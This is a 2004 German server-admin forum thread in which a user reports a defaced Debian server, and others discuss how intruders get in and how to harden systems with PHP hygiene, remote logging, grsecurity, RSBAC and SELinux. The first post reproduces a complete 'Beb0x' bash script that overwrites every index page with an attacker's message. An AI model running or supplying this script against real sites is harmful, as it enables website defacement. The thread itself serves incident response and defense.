hack

Lesenswerte Artikel, Anleitungen und Diskussionen
kevin_poulsen
Posts: 43
Joined: 2003-09-24 14:53

hack

Post by kevin_poulsen » 2004-02-04 11:13

hmmm.... jetzt hats mich auch mal erwischt %)

auf allen webseiten meines puretec s servers steht:
ruptura ownou vc ou melhor seu site hahahaha rompendo barreiras alem da sua imaginacao
hab grad im rescue modus gebootet...
kommt dieser spaß irgendwem bekannt vor?

edit: log dateien sind alle geloescht worden...

andere ideen? es lief debian drauf.... upgrade und update habe ich zwei stunden davor erst ausgefuehrt.... hmmm
jetzt bin ich ein wenig ratlos?!


edit2:

hmmm... noch etwas... es sind einfach neue index.html dateien angelegt wordenmit dem inhalt, der oben steht... die originalen index dateien wurden nicht geloescht sondern umbenannt in index.html.bak

edit3:

und siehe da im root des webservers
#!/bin/bash
# # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# ##
# Beb0x automatic fuck web pages ##
# ##
# sysdenial []z ##
##########################################################

# # # Quem Somos # # # # # # # # # # # # # # # # ###
# ##
##########################################################

procura_paginas () {
find $DIR_LOG -name *index* >.logs
#find $DIR_LOG -name *wtmp* >>.logs
LINHA=`wc .logs |cut -c-7`
}
console () {
#echo -n "[S] Killando qualquer especie de monitoramento..."
#killall -9 tail 1>/dev/null 2>/dev/null;echo "ok"
echo -n "==> Aguarde, procurando paginas.."
procura_paginas;
echo "encontrados $LINHA Paginas para Ownar"
sleep 5
echo -n "--> Colocando seu texto nas Paginas"
for log in `cat .logs`
do
echo -n " -> in $log..."

cp $log $log.bak
echo $MY_TEXT >$log
echo "ok"
done
echo ":-) Beb0x ownou vc."
echo "ok"
echo "((((( have a nice day ! )))))"
}
help () {
echo " Use: $0 <seu_texto>"
echo "Exemplo: $0 'Owned by bebox'"
}

if [ `whoami` != "root" ]; then
echo "[S] Execute somente como root"
exit
fi

if [ "$2" = "" ]; then
DIR_LOG="./"
else
DIR_LOG=$2
fi
echo; echo ; echo "<<<<<<<<< Beb0x - Automatic Own WebPages >>>>>>>>>>"
echo " ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
echo "More info 3l3ph4z and Merfolk_Seer - Brasnet - #beb0x"
echo "- - - - - - - - - - - - - - - - - - - - - - - - - - -"
if [ "$1" = "" ]; then
help;
else
MY_TEXT="$1"
console;
fi


# PESAMENTOS # # # # # # # # # # # # # # # # # # # # # # #
# ##
# Desista de fazer a cabeça dos outros - o que eles ##
# pensam de você não é da sua conta. Adote a filosofia ##
# do CAVALO NA PARADA DE 7 DE SETEMBRO: ##
# "cagando, andando e sendo aplaudido " ##
# anonimo ##
##########################################################
Last edited by kevin_poulsen on 2004-02-04 11:29, edited 2 times in total.

smur
RSAC
Posts: 169
Joined: 2003-05-26 16:00
Location: Mannheim

Re: hack

Post by smur » 2004-02-04 11:28

Ã?hm.. und was willst du jetzt genau hören? "Das kann jedem mal passieren"? Installier das System neu und häng ihn so ja nicht wieder ans Netz.

chris76
Moderator
Moderator
Posts: 2015
Joined: 2003-06-27 14:37
Location: Germering

Re: hack

Post by chris76 » 2004-02-04 11:30

Wie immer ruhe bewahren
alles wichtige Sichern
neu Aufsetzen und Ã?berlegen wie das Passieren hat können und das loch stopfen.
Ich sage mal das Verwenden von debian ist kein Garant das man nicht gecrackt/hackt wird. Kommt so rüber von dir. Es kann auch ein phpScript sein das solche Sachen ermöglicht.

Gruß Christian

t-son
Posts: 18
Joined: 2002-10-18 09:22
Location: Stuttgart

Re: hack

Post by t-son » 2004-02-04 11:44

schön wäre trotzdem zu erfahren wie er reingekommen ist... geht nämlichen anderen genau so! hab heute schon ein paar solche pages gesehen!

captaincrunch
Userprojekt
Userprojekt
Posts: 7225
Joined: 2002-10-09 14:30
Location: Dorsten

Re: hack

Post by captaincrunch » 2004-02-04 11:48

Der Grund ist ganz simpel: Fehlkonfiguration.

Auch wenn ich mich wiederhole: um sagen zu können, wie die Kleinen reinkamen, müsste man die Konfiguration der Systeme schon ziemlich genau kennen, oder alternativ Hellseher sein.
Da wohl beides nicht der Fall ist, wird wohl kaum jemand etwas dazu sagen können.
DebianHowTo
echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

kevin_poulsen
Posts: 43
Joined: 2003-09-24 14:53

Re: hack

Post by kevin_poulsen » 2004-02-04 11:56

hmmm
schonmal gut zu wissen dass ich nicht der einzige bin...
alle logfiles weg... das aergert mich ein wenig... ich weiß nicht richtig wo ich anfangen koennte zu suchen....

t-son
Posts: 18
Joined: 2002-10-18 09:22
Location: Stuttgart

Re: hack

Post by t-son » 2004-02-04 12:02

also bei dem wo ich gefunden hatte war es wohl der Kernel 2.4.21... und dann root exploit?!

naja GL!

kevin_poulsen
Posts: 43
Joined: 2003-09-24 14:53

Re: hack

Post by kevin_poulsen » 2004-02-04 12:06

noch etwas...
kurz nach dem hack habe ich ca 30 solcher mails bekommen

Code: Select all

Hi. This is the qmail-send program at 123easyweb.de.
I tried to deliver a bounce message to this address, but the bounce bounced!

<root@alpha.ntusecure.com>:
207.36.193.173 does not like recipient.
Remote host said: 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) Giving up on 207.36.193.173.

--- Below this line is the original bounce.

Return-Path: <>
Received: (qmail 10157 invoked by uid 1008); 4 Feb 2004 09:34:17 -0000
Date: 4 Feb 2004 09:34:17 -0000
From: "System Anti-Virus Administrator" <root@mydomain.de>
To: root@alpha.ntusecure.com
Subject: problem in verschickter Nachricht gefunden "Hacker / Hacking Activity Alert"
Message-ID: <mydomain.de107588725746110127@mydomain.de>
X-Tnz-Problem-Type: 40
MIME-Version: 1.0
Content-type: text/plain


Achtung: root@alpha.ntusecure.com

Ein problem wurde in Ihrer Email gefunden. 
Dieser Email Scanner unterbrach die Versendung der Nachricht an den Empfaenger. 

Der problem scheint folgenden Typs zu sein: 

Disallowed  characters found in MIME headers

Bitte wenden Sie sich an Ihre EDV-Abteilung, falls Sie Fragen zu dieser Email haben.

Ihre Nachricht wurde mit folgendem Absender und Empfaenger verschickt:

MAIL FROM: root@alpha.ntusecure.com
RCPT TO:   mail@mydomain.de 

... und mit folgenden Headern:

---
MAILFROM: root@alpha.ntusecure.com
Received: from unknown (HELO alpha.ntusecure.com) (207.36.180.16)
  by mydomain.de with SMTP; 4 Feb 2004 09:34:16 -0000
Received: (qmail 7438 invoked by uid 0); 4 Feb 2004 09:32:04 -0000
Date: 4 Feb 2004 09:32:04 -0000
Message-ID: <20040204093204.7437.qmail@alpha.ntusecure.com>
To: puretec@mydomain.de
Subject: Hacker / Hacking Activity Alert
From: Defacement Alert <defac@remoteassessment.com>
Content-Type: text/plain; charset=iso-8859-1


---

kevin_poulsen
Posts: 43
Joined: 2003-09-24 14:53

Re: hack

Post by kevin_poulsen » 2004-02-04 12:26

noch ne frage...
gibts ne moeglichkeit logfiles zuseatzlich automatisch in einem anderen pfad oder womoeglich gleich auf einer anderen maschine zu speichern?

thorsten
RSAC
Posts: 732
Joined: 2003-02-01 13:14
Location: Fuldatal

Re: hack

Post by thorsten » 2004-02-04 12:30

wenn sie über den syslog oder syslog-ng gespeichert werden, dann hast du da gute Karten :)
Der entfernte Rechner mit dem syslogd muß die Verbindungen allerdings auch annehmen :)

andreask2
RSAC
Posts: 701
Joined: 2004-01-27 14:16
Location: Aachen

Re: hack

Post by andreask2 » 2004-02-04 13:56

Hi!

Also bevor ich selber so nen Server betreibe wüde ich doch mal ganz gerne wissen wodurch die Idioten denn so reinkommen.

Immer wieder gerne gesehen ist wohl postnuke, kennt wer noch weitere "problematische" PHP-Projekte die ähnlich unsicher sind?

Und auch bei Postnuke verstehe ich es nicht wirklich - selbst wenn das löcherig ist wie ein Schweizerkäse. Wenn PHP/Apache unter einem eigenen User laufen, dann kann man mit noch so tollen Tricks ja nicht mehr machen als eben dieser User. Oder irre ich mich hier?
Ich habe eigentlich noch nie gehört, dass in shared-Hosting-Server von Providern entsprechend eingebrochen wird(wird sicher schon passiert sein, aber bei root-servern hört man das ja dauernd). Aber da installieren Kunden sicher auch postnuke...
Ich meine, die müssen das root-kit ja auf den Server bekommen, und wenn das über PHP gehen soll muss man entweder eigenen PHP-Code ausführen können, Dateien ungeprüft hochladen und ausführen können oder shell-Aufrufe manipulieren können, oder? Aber wieso sind die schlecht konfigurierten Root-Server so anfällig? Ich meine, die Probleme in PHP-Software sind ja dieselben. Oder ist es tatsächlich nur ein Rechte-Problem? Aber das kann ich mir auch nicht vorstellen, denn auch Hoster erlauben es ja dass man mit PHP Dateien schreiben kann. Und root-kits benötigen ja gerade keine besonderen Rechte, das ist ja gerade der Witz daran.


Gut, und was gibt es sonst? eigentlich ja nur noch remote-exploits, aber die sind doch wohl sehr selten, oder? Das heißt nur wenn jemand alte Versionen mit bekannten Sicherheitslücken einsetzt könnte das jemand ausnutzen.

@kevin_poulsen:

welche Server-Dienste hast Du alles eingesetzt?
mit welchen Rechten sind die Dienste gelaufen?

Hast Du irgendeine PHP-Software eingesetzt?

Welche OpenSSH oder OpenSSL Versionen hast Du eingesetzt?

@all:
wenn die Logs weg sind, wie soll man dann überhaupt noch drauf kommen wie die kiddies reingekommen sind? Ich meine, wenn man was falsch konfiguriert, macht man es ja weil man eben nicht weiß dass es falsch ist.
Welche Konfigurationen sind besonders wichtig die man sich angucken sollte?



Ich empfehle jedem der PHP einsetzt übrigens folgendes zu lesen:

http://talks.php.net/show/web-app-security
http://de3.php.net/manual/de/security.index.php
http://www.dclp-faq.de/search.php?l=20&q=sicherheit


Viele Grüße
Andreas

checker
Posts: 113
Joined: 2003-06-09 13:17

Re: hack

Post by checker » 2004-02-04 14:11

andreask2 wrote:Hi!

Also bevor ich selber so nen Server betreibe wüde ich doch mal ganz gerne wissen wodurch die Idioten denn so reinkommen.

Immer wieder gerne gesehen ist wohl postnuke, kennt wer noch weitere "problematische" PHP-Projekte die ähnlich unsicher sind?

Andreas
Hallo,

ich würde sagen jedes Script das chmod 777 hat, schon oft diskutiert ist gefährlich und kann als Zugang missbraucht werden, aber grundsätzlich ist jede Serverbasierte Sprache (php, mysql etc.) gefährlich und kann sehr gut missbraucht werden!

Gruß checker

daniel bradler
Posts: 94
Joined: 2002-09-12 12:35

Re: hack

Post by daniel bradler » 2004-02-04 14:39

andreask2 wrote:Und auch bei Postnuke verstehe ich es nicht wirklich - selbst wenn das löcherig ist wie ein Schweizerkäse. Wenn PHP/Apache unter einem eigenen User laufen, dann kann man mit noch so tollen Tricks ja nicht mehr machen als eben dieser User. Oder irre ich mich hier?
Es ist richtig, daß PHP-Skripte in der Regel unpriviligiert ausgeführt werden. Wenn der Angreifer aber erstmal in der Lage ist, eigenen Code auf einem Server auszuführen, kann er u.U durch die Ausnutzung weiterer Sicherheitslücken root-Berechtigung erhalten.
Ich habe eigentlich noch nie gehört, dass in shared-Hosting-Server von Providern entsprechend eingebrochen wird(wird sicher schon passiert sein, aber bei root-servern hört man das ja dauernd). Aber da installieren Kunden sicher auch postnuke...
Bei unerfahrenen Anbieter passiert es gar nicht selten, daß Server gehackt werden.

Viele Grüße,
Daniel Bradler
Last edited by daniel bradler on 2004-02-04 14:41, edited 1 time in total.

andreask2
RSAC
Posts: 701
Joined: 2004-01-27 14:16
Location: Aachen

Re: hack

Post by andreask2 » 2004-02-04 14:40

checker wrote:ich würde sagen jedes Script das chmod 777 hat, schon oft diskutiert ist gefährlich und kann als Zugang missbraucht werden, aber grundsätzlich ist jede Serverbasierte Sprache (php, mysql etc.) gefährlich und kann sehr gut missbraucht werden!
Wieso das? Das sagt doch nur was über die Rechte aus, die man braucht um das Script zu lesen, zu überschreiben oder auszuführen. Aber diese Rechte gelten doch nur für lokale User des Systems. Wenn jemand so weit ist dass er auf lokale Dateien zugreifen kann, dann ist es doch schon zu spät, denn was bringt es die Möglichkeit zu haben ein bestehendes Script zu lesen oder ändern zu können? Wenn ich die Rechte des Webserver habe kann ich in jedem Fall jedes PHP-Script ansehen. Und ich kann eigene Scripte speichern und ausführen, also was sollen die strengen Zugriffsrechte auf Scripte dann noch groß bringen? Das problem ist ja eher überhaupt in die Lage zu kommen irgendwas auf dem lokalen System machen zu können, und da bringen strenge Rechte auf Scripte IMHO recht wenig (außer natürlich wenn noch andere Leute Zugriff auf das System haben wie im shared Hosting, da ist das natürlich essentiell wichtig, aber auf Root-Servern wo man allen lokalen Usern vertraut?).
Und wenn jemand irgendwie anders hereinkommt, braucht er auch nicht wirklich PHP oder die Rechte des Webservers - was bringen die dann noch? Aber sehe ich das richtig das in >99% der Fälle immer ein Fehler in einem serverseitigen Script oder ein remote-explot in nicht gepatchter Software verwendet wird? Oder an welchen Stellen muss man noch aufpassen? (also jetzt abgesehen von guten Passwörtern, auf FTP verzichten, möglichst SSH-Authentifizering per Schlüssel...)

Abgesehen davon würde ich Rechte natürlich immer so sparsam wie möglich vergeben.

Wie groß ist die Gefahr einzuschätzen dass die Angreifer über Informationen die sie auf den Desktops der Leute finden, loggen... hereinkommen? Also wenn jemand der Zugriff auf einen Root-Server sich z.B. einen Trojaner einfängt... soweit ich das verstanden habe ist ja beim Debian-Einbruch vor wenigen Monaten genau das passiert, oder?

Nur ist das ja eigentlich nicht gezielt möglich, oder?


Viele Grüße
Andreas

andreask2
RSAC
Posts: 701
Joined: 2004-01-27 14:16
Location: Aachen

Re: hack

Post by andreask2 » 2004-02-04 14:55

Daniel Bradler wrote:Es ist richtig, daß PHP-Skripte in der Regel unpriviligiert ausgeführt werden. Wenn der Angreifer aber erstmal in der Lage ist, eigenen Code auf einem Server auszuführen, kann er u.U durch die Ausnutzung weiterer Sicherheitslücken root-Berechtigung erhalten.
Also ich programmiere seit einiger Zeit selber viel mit PHP, und eigentlich sind die "gefährlichen" Funktionen ja bekannt.

Gerade bei

include(), exec(), fopen(), eval() (und vergleichbaren Funkitonen) muss man sehr genau aufpassen was man denen übergibt. Auf keinem Fall darf man solchen Funkitonen nicht initialisierte oder ungeprüfte Variablen übergeben, und auf jeden Fall mit entsprechenden Funtktionen quoten.

Weniger gefährlich finde ich Datenbank-Funktionen, aber auch hier prüfen und quoten, da sonst das manipilieren von Daten einfach ist, bei schlecht konfigurierten Datenbanken kann man sogar mehr Schaden anrichten, im Extremfall sogar einen lokalen exploit ausnutzen, was es ja auch gibt, aber eher selten.

Oder unterliege ich hier einem Irrtum?
Daniel Bradler wrote: Bei unerfahrenen Anbieter passiert es gar nicht selten, daß Server gehackt werden.
Aber was machen die "guten" denn genau anders? ;-)

Das wäre ja mal interessant. Verwenden die alle FreeBSD und stecken den Apachen in einen Jail?
Oder Linux mit grsec-sources und dann in per chroot? Mich würde interessieren wo genau der Unterschied liegt. Kennt sich da jemand aus? Oder verwenden die irgendwelche besonderen Konfigurations-Parameter die per default deaktiviert sind...?

Grüße
Andreas

majortermi
Userprojekt
Userprojekt
Posts: 930
Joined: 2002-06-17 16:09

Re: hack

Post by majortermi » 2004-02-05 23:08

Meiner Erfahrung nach ist "PHP" als Sprache bereits eine Gefahr: Nicht das PHP an sich unsicherer wäre als irgendeine andere Programmiersprache, das Problem ist, dass es einem mit PHP viel zu einfach gemacht wird, wirklich böse Sicherheitslücken einzubauen:

* register_globals sollte man besser auf "off" lassen bzw. nur für die Software aktivieren, wo es wirklich unbedingt gebraucht wird (das ist aber i.d.R. ein Zeichen für schlechte, veraltete Software).

* NIEMALS include() mit irgendwelchen Variablen als Parameter benutzen - nein, es gibt keine Ausnahmen, außer die 0,01%, wo es mal wirklich sinnvoll ist, dass sollten aber nur Leute mit VIEL Erfahrung machen. Hier haben andere Sprachen - wie z.B. Java - konzeptionelle Vorteile, da sie erst gar nicht so einfach das dynamische Nachladen von Code zur Laufzeit erlauben.

* exec(), backticks und andere Funktionen, die Kommandos in der Shell ausführen sind böse, und sollten vermieden werden (insbesondere sollten wie bei include() keine Variablen übergeben werden).

* Alles, was von außen (Request-Paramter, Formular-Eingaben, Cookies, etc.) kommt, ist als böse zu betrachten und deshalb
a) zu validieren und
b) zu escapen, wo immer es auch nur vorstellbar ist - SQL-Queries, Rückgabe an den Browser (Cross-Site-Scripting!).

Wenn man wenigstens die o.g. Hinweise beachtet ist es auch mit PHP möglich einigermaßen sichere Anwendungen zu schreiben - aber sind wir mal ehrlich: Eine einfache Skriptsprache wie PHP, bei der die meisten Skripte, die man findet, auch noch Model, View und Controller miteinander vermischen, fordert ja geradezu dazu auf, sich nicht genaue Gedanken über die Abläufe zu machen, sondern einfach irgendetwas zusammenzuschreiben, bis es eben so einigermaßen läuft. Da braucht man sich über gravierende Sicherheitslücken dann doch nicht zu wundern.

Das Problem sitzt meistens vor dem Computer...
Erst nachlesen, dann nachdenken, dann nachfragen... :)
Warum man sich an diese Reihenfolge halten sollte...

smur
RSAC
Posts: 169
Joined: 2003-05-26 16:00
Location: Mannheim

Re: hack

Post by smur » 2004-02-05 23:19

Selten habe ich so gern ein "Full ACK" geschrieben :)

oxygen
RSAC
Posts: 2179
Joined: 2002-12-15 00:10
Location: Bergheim

Re: hack

Post by oxygen » 2004-02-05 23:37

du hast eval() vergessen, das ist wirklich evil ;)

majortermi
Userprojekt
Userprojekt
Posts: 930
Joined: 2002-06-17 16:09

Re: hack

Post by majortermi » 2004-02-05 23:38

øxygen wrote:du hast eval() vergessen, das ist wirklich evil ;)
So evil, dass ich mich gar nicht getraut habe, daran zu denken.

Okay, ich gebe zu, ich benutze es in einem Skript. Da habe ich mir allerdings auch vorher ___sehr___ genau überlegt, was ich tue.
Erst nachlesen, dann nachdenken, dann nachfragen... :)
Warum man sich an diese Reihenfolge halten sollte...

andreask2
RSAC
Posts: 701
Joined: 2004-01-27 14:16
Location: Aachen

Re: hack

Post by andreask2 » 2004-02-06 02:02

Ja, das kann ich ebenfalls alles zu 100% unterschreiben. Aber das war mir wie gesagt klar, mich interessiert eher die Konfiguration, des Webservers, denn hier muss ja auch ein Problem liegen, oder ist das alles egal sobald jemand eine Sicherheislücke in nem Script gefunden hat?

Also angenommen jemand schafft es dass sein PHP-Code ausgeführt wird, dann kann ja alles was der macht nur mit den Rechten des Apachen ausgeführt werden, oder? Aber er wird es ja in jedem Falls schaffen ein root-kit oder sonstwas auf dem Server zu spreichern, und er kann es auch ausführen.

Genau bis hierhin kommt ein Angreifer also vermutlich auch bei "guten Hostern", wenn da ein Kunde eine anfällige Version von postnuke... installiert, oder?

Dann liegt der Unterschied also da, dass der "gute Hoster" es verhindern kann dass das root-kit Schaden anrichtet.

Gut, ein root-kit bruacht ja AFAIK immer einen Exploit den es ausnutzen kann, das heißt ein gewisser Schutz wird schonmal durch aktuelle Pakete erreicht, aber sicher kein voller Schutz. Das heuißt man sollte den Apachen per Jail oder chroot in eine eigene Umgebung packen aus der der Angreifer erstmal ausbrechen müsste.

Gut, einfaches chroot ist wohl auch kein großes Hindernis wie ich es hier in einigen Beiträgen gelesen habe, aber was dann? grsecurity-Patches? Selinux?


Grüße
Andreas

captaincrunch
Userprojekt
Userprojekt
Posts: 7225
Joined: 2002-10-09 14:30
Location: Dorsten

Re: hack

Post by captaincrunch » 2004-02-06 09:09

Gut, einfaches chroot ist wohl auch kein großes Hindernis wie ich es hier in einigen Beiträgen gelesen habe, aber was dann? grsecurity-Patches? Selinux?
Ja, GRSecurity wäre ein gangabrer Weg, der die Hürde, aus einem chroot auszubrechen erheblich höher legt, zudem wird durch PaX ein proaktiver Schutz geleistet, der fast sämtliche bekannten Exploits heutzutage ins Leere laufen lässt.

Sachen wie RSBAC und/oder SELinux (wobei ersteres sicherheitstechnisch mehr leistet, siehe dazu http://rsbac.org/lsm.htm ) sind auch ein gangbarer Weg, die Sicherheit erheblich zu erhöhen, wobei jeder für sich selbst entscheiden muss, ob die Bedrohung den recht hohen Aufwand rechtfertigt.
DebianHowTo
echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

andreask2
RSAC
Posts: 701
Joined: 2004-01-27 14:16
Location: Aachen

Re: hack

Post by andreask2 » 2004-02-06 11:08

CaptainCrunch wrote:Ja, GRSecurity wäre ein gangabrer Weg, der die Hürde, aus einem chroot auszubrechen erheblich höher legt, zudem wird durch PaX ein proaktiver Schutz geleistet, der fast sämtliche bekannten Exploits heutzutage ins Leere laufen lässt.
Das ist ja schonmal gut zu hören, zumal hierfür ja kein zusätzlicher Aufwand nötig ist - soweit ich das bisher überblicke jedenfalls. Wobei ich nicht wirklich verstehe warum solche Dinge nicht in den vanilla-kernel fließen, ich meine, wie man hier sieht bestehen hier ja durchaus Probleme die auch durchaus oft ausgenutzt werden. Ja, man kann sagen dass die Leute selbst Schuld sind wenn sie Software verwenden fremden Leuten ermöglicht eigenen Code auszuführen, aber 100%ig sicher kann man hier ja nicht wirklich sein, und es gibt jka anscheinend funktionierende Patches die einen großteil der Probleme lösen. Aber wie ich gelesen habe hat auch Linus was dagegen gehabt, weil es eben auch kein 100%iger Schutz ist.
CaptainCrunch wrote:Sachen wie RSBAC und/oder SELinux (wobei ersteres sicherheitstechnisch mehr leistet, siehe dazu http://rsbac.org/lsm.htm ) sind auch ein gangbarer Weg, die Sicherheit erheblich zu erhöhen, wobei jeder für sich selbst entscheiden muss, ob die Bedrohung den recht hohen Aufwand rechtfertigt.
Ich habe mir als Anfänger in diesem Bereich mal die Sonder-Ausgabe des Linux-Magazins zum Thema besorgt, und ich muss sagen es war sehr interessant RSBAC scheint allerdings wirklich einen deutlich größeren Aufwand zu bedeuten (btw, bei GRsecurity gibt es ja seit neustem auch RBAC, sieht mir ein bisschen ähnlich aus, oder ist das nicht so gut?).

Gut, dann wäre da noch systrace, wobei ich hier Bedenken habe, denn sollte ich bei der Konfiguration irgendeine Aktion vergessen haben, bekomme ich ja Probleme mit der Stabilität, wenn ich das ganze z.B. auf den Apachen anwende. Ich kann ja nicht alle Systemaufrufe die PHP erzeugen könnte "mal eben" ausführen. Ã?hnliche Bedenken habe ich auch bei RSBAC, da darf man nichts vergessen da man sonst die Stailität beeinträchtigen kann, und das doofe ist, dass das nicht sofort ausfallen muss, und im ungünstigesten Moment passieren kann.

Von wegen selinux, ist das wirklich besser/sicherer als grsec? Zumindest wird grsec wohl erheblich mehr verwendet, oder nur weil es einfacher ist?

Bei Gentoo sind sie dabei das ordentlich zu implementieren: http://www.gentoo.org/proj/en/hardened/ ... nstall.xml ( http://www.gentoo.org/news/en/gwn/20040 ... #doc_chap1 ), naja, aber sowohl das als auch hardened-sources ist wohl alles noch nicht wirklich stabil.

Naja, grundsätzlich werde ich denke ich erstmal grsec verwenden, und mich mal mit den verschiedenen "ACL-Implementierungen" auseinandersetzen. Und Du hälst hier eindeutig RSBAC für das beste? Wie es aussieht wird Gentoo in absehbarer Zeit kein RSBAC unterstützen und man konzentriert sich auf selinux und grsec. Wobei es Leute gibt die da was entwickeln, das Interesse scheint aber nicht wirklich da zu sein:
http://forums.gentoo.org/viewtopic.php? ... ight=rsbac
http://forums.gentoo.org/viewtopic.php? ... ight=rsbac

Sowohl selinux als auch GRsecurity(2) implementieren doch eigene mit RSBAC vergleichbare Funktionen. Was ist an RSBAC denn besser?

Viele Grüße
Andreas

captaincrunch
Userprojekt
Userprojekt
Posts: 7225
Joined: 2002-10-09 14:30
Location: Dorsten

Re: hack

Post by captaincrunch » 2004-02-06 11:37

btw, bei GRsecurity gibt es ja seit neustem auch RBAC, sieht mir ein bisschen ähnlich aus, oder ist das nicht so gut?
Diese Seite von GRSecurity habe ich mir bislang noch nicht näher angeschaut. Einfacher Grund dafür: wenn ich an solche Dinge denke, sollte die Implementierung wirklich sauber sein. RSBAC gibt's seit 1996, und darf daher meiner Definition nach als ziemlich ausgereift gelten.

Systrace ist (IMHO) eine nette Geschichte, wenn's um Desktops geht, alleine durch die tollen grafischen Warnungen. Ich persönlich würde es allerdings nicht gerade auf dem Server einsetzen, vor allem dann nicht, wenn ich nicht eine sehr genaue Kenntnis der jeweiligen Systemcalls habe, die eine bestimmte Anwendung benötigt.
OK, es gibt einen "Lernmodus" (den es übrigens über kurz oder lang auch für RSBAC geben wird), wobei ich bislang noch keinen Automatismus gesehen habe, der eine bestimmte Aufgabe so gut erledigen würde, wie es ein Mensch, der sich mit der jeweiligen Materie auskennt tun würde.
Von wegen selinux, ist das wirklich besser/sicherer als grsec? Zumindest wird grsec wohl erheblich mehr verwendet, oder nur weil es einfacher ist?
SELinux lässt sich nicht ohne weiteres mit GRSecurity vergleichen. GRSecurity ohne seine RBAC-Seite (die so weit ich bisher gelesen habe noch nicht 100%ig ausgereift ist) dient komplett anderen Sachen wie SEinux. Beispiele: PaX, "zufällige" TCP-Sequenznummern, usw. bei GRSecurity, wohingegen SELinux sich eher um eine "Mandatory Access Control" bemüht.

Was Gentoo in bezug auf SELinux angeht: die gentoo-hardened-Jungs haben sich zum größten Teil auf SE festgebissen, weil es ohnehin Bestandteil des 2.6er-Kernels wird, sind aber leider objektiven Argumenten dagegen nicht sehr zugänglich.
Besonders "method", der Hauptverantwortliche für SELinux unter Gentoo hat was das angeht eine sehr festgefahrene Meinung, der im Thread vorkommende kang_ engagiert sich hingegen auch aktiv bei Adamantix, was wohl seine "Vorliebe" zu RSBAC etwas verdeutlicht.

Zur Frage, warum ich RSBAC als "überlegen" ansehe, lies dir mal folgende Mail von Amon Ott, dem RSBAC-Entwickler durch (der gesamte Thread dazu ist interessant):
http://archives.limehouse.org/users-l/a ... 2404045000
DebianHowTo
echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

User avatar
Joe User
Project Manager
Project Manager
Posts: 11578
Joined: 2003-02-27 01:00
Location: Hamburg

Re: hack

Post by Joe User » 2004-02-06 15:29

CaptainCrunch wrote:Was Gentoo in bezug auf SELinux angeht: die gentoo-hardened-Jungs haben sich zum größten Teil auf SE festgebissen, weil es ohnehin Bestandteil des 2.6er-Kernels wird,
NB: Auch Fedora/Redhat, SuSE und einige andere Distributoren setzen mitlerweile auf SELinux. Ned Ludd (Gentoo) scheint allerdings eher die Kombination PaX/PIE/ProPolice zu bevorzugen, sofern ich seine heutige Wortmeldung in der HardenedLinuxFromScratch-ML richtig deute.
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.

dodolin
RSAC
Posts: 4009
Joined: 2003-01-21 01:59
Location: Sinsheim/Karlsruhe

Re: hack

Post by dodolin » 2004-02-07 05:02

Also bevor ich selber so nen Server betreibe wüde ich doch mal ganz gerne wissen wodurch die Idioten denn so reinkommen.
Sehr weise Entscheidung, kann ich dich nur beglückwünschen zu!
Du scheinst da leider eine Ausnahme zu sein, wenn ich mich hier im Forum so umsehe...
Immer wieder gerne gesehen ist wohl postnuke, kennt wer noch weitere "problematische" PHP-Projekte die ähnlich unsicher sind?
http://www.google.com/search?q=myegallery+exploit
Dazu sollten sich auch gecrackte Rechner mit der Boardsuche finden lassen. :cry:
Und auch bei Postnuke verstehe ich es nicht wirklich - selbst wenn das löcherig ist wie ein Schweizerkäse. Wenn PHP/Apache unter einem eigenen User laufen, dann kann man mit noch so tollen Tricks ja nicht mehr machen als eben dieser User. Oder irre ich mich hier?
Nein, du irrst nicht, das ist völlig korrekt. Problem ist folgendes:
Allgemein: Mehrere Sicherheitslücken addieren sich.
Beispiel: Remote User Exploit (d.h. man kann von einem entfernten Rechner aus, beliebigen Code auf dem Zielrechner mit den Rechten eines bestimmten, unprivilegierten Users ausführen) plus Local Root Exploit (d.h. ein Lokaler User kann beliebigen Code als root ausführen) ergeben zusammen halt einen Remote Root Exploit, d.h. man kann von Remote aus Root werden (wenn auch in mehreren Schritten...).

Hat man also ein unsicheres PHP- oder sonstiges Webscript und, sagen wir mal einen ungepatchten Kernel mit der do_brk() und/oder mremap() Lücke, ist es schon geschehen... Das ist es, was hier auch oft im Forum nachzulesen ist, wenn in den Apachen-Logs plötzlich wget- oder lynx-Befehle auftauchen: Jemand konnte von Remote als User wget aufrufen und damit den Kernel-Exploit laden, danach dann compilieren (BTW: Auch wenn man auf der Kiste keinen Compiler hat, schützt das nicht immer, man könnte ja auch fertig kompilierte Binaries per wget laden...) und ausführen.
Ich habe eigentlich noch nie gehört, dass in shared-Hosting-Server von Providern entsprechend eingebrochen wird(wird sicher schon passiert sein, aber bei root-servern hört man das ja dauernd). Aber da installieren Kunden sicher auch postnuke...
So ist es. Das wichtigste in solchen Umgebungen, wo fremde Leute irgendwelche ausführbaren Programme oder Skripte nutzen können ist, dass man _sämtliche_ Skripte (also nicht nur PHP, auch Perl, C und alles, was ausgeführt wird) nicht unter der UID des Apachen, sondern unter der UID des jeweiligen Benutzers (= Eigentümer) der Datei ausführen lässt. Stichworte suPHP, PHP als CGI, suEXEC und andere "CGI Wrapper".
Gut, und was gibt es sonst? eigentlich ja nur noch remote-exploits, aber die sind doch wohl sehr selten, oder? Das heißt nur wenn jemand alte Versionen mit bekannten Sicherheitslücken einsetzt könnte das jemand ausnutzen.
Ja. Oder jemand hat halt gerade eine neue unbekannte Lücke gefunden. Zum Glück finden solche Lücken meist "White Hats", d.h. gutgesinnte Leute und die Software wird gefixed, bevor es überhaupt bekannt wird oder zumindest bevor jemand einen Exploit für die Lücke schreiben kann. Manchmal jedoch finden auch die "Black Hats", also die "bösen" Leute eine Lücke zuerst: Siehe der Einbruch auf diverse Debian-, GNU- etc. -Kisten durch die do_brk() Lücke im Linux-Kernel.
@all:
wenn die Logs weg sind, wie soll man dann überhaupt noch drauf kommen wie die kiddies reingekommen sind? Ich meine, wenn man was falsch konfiguriert, macht man es ja weil man eben nicht weiß dass es falsch ist.
